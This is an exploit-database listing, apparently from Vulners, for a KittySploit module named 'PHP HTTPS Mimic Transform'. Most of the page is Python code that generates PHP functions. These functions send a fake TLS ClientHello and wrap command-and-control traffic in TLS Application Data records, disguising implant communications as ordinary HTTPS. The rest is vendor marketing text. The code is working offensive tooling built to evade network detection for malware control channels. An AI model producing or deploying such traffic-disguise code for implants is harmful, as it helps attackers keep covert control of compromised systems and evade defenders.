Lucene search
+L

PHP HTTPS Mimic Transform

🗓️ 10 Jul 2026 11:14:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

PHP HTTPS Mimic Transform sends a fake TLS ClientHello and wraps C2 bytes.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from typing import Optional

from modules.transforms.python.protocol.https_mimic import (
    CLIENT_HELLO_BYTES,
    Module as PythonHttpsTransform,
)


class Module(PythonHttpsTransform):
    """PHP HTTPS/TLS record mimic transform."""

    SUPPORTED_CLIENT_LANGUAGES = ["php"]

    __info__ = {
        "name": "PHP HTTPS Mimic Transform",
        "description": "Sends a fake TLS ClientHello then wraps C2 bytes in TLS Application Data records.",
        "author": "KittySploit Team",
        "version": "1.0.0",
    }

    def generate_client_code(self, language: str) -> Optional[str]:
        if language != "php":
            return None
        hello_hex = CLIENT_HELLO_BYTES.hex()
        return (
            f"$xf_client_hello=hex2bin('{hello_hex}');$xf_buf='';$xf_first=true;"
            "function _xf_encode($d){global $xf_client_hello,$xf_first;if($d===''){return $d;}$out='';"
            "if($xf_first){$out.=$xf_client_hello;$xf_first=false;}"
            "$i=0;$l=strlen($d);while($i<$l){$c=substr($d,$i,16384);$i+=strlen($c);$n=strlen($c);$out.=chr(0x17).chr(0x03).chr(0x03).chr(($n>>8)&255).chr($n&255).$c;}return $out;}"
            "function _xf_decode($d){global $xf_buf;$xf_buf.=$d;$out='';"
            "while(strlen($xf_buf)>=5){$rt=ord($xf_buf[0]);$ln=(ord($xf_buf[3])<<8)|ord($xf_buf[4]);"
            "if($ln>16384){$xf_buf=substr($xf_buf,1);continue;}if(strlen($xf_buf)<5+$ln){break;}"
            "if($rt===0x17){$out.=substr($xf_buf,5,$ln);}$xf_buf=substr($xf_buf,5+$ln);}return $out;}"
        )

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Aug 2026 05:37Current
5.8Medium risk
Vulners AI Score5.8
2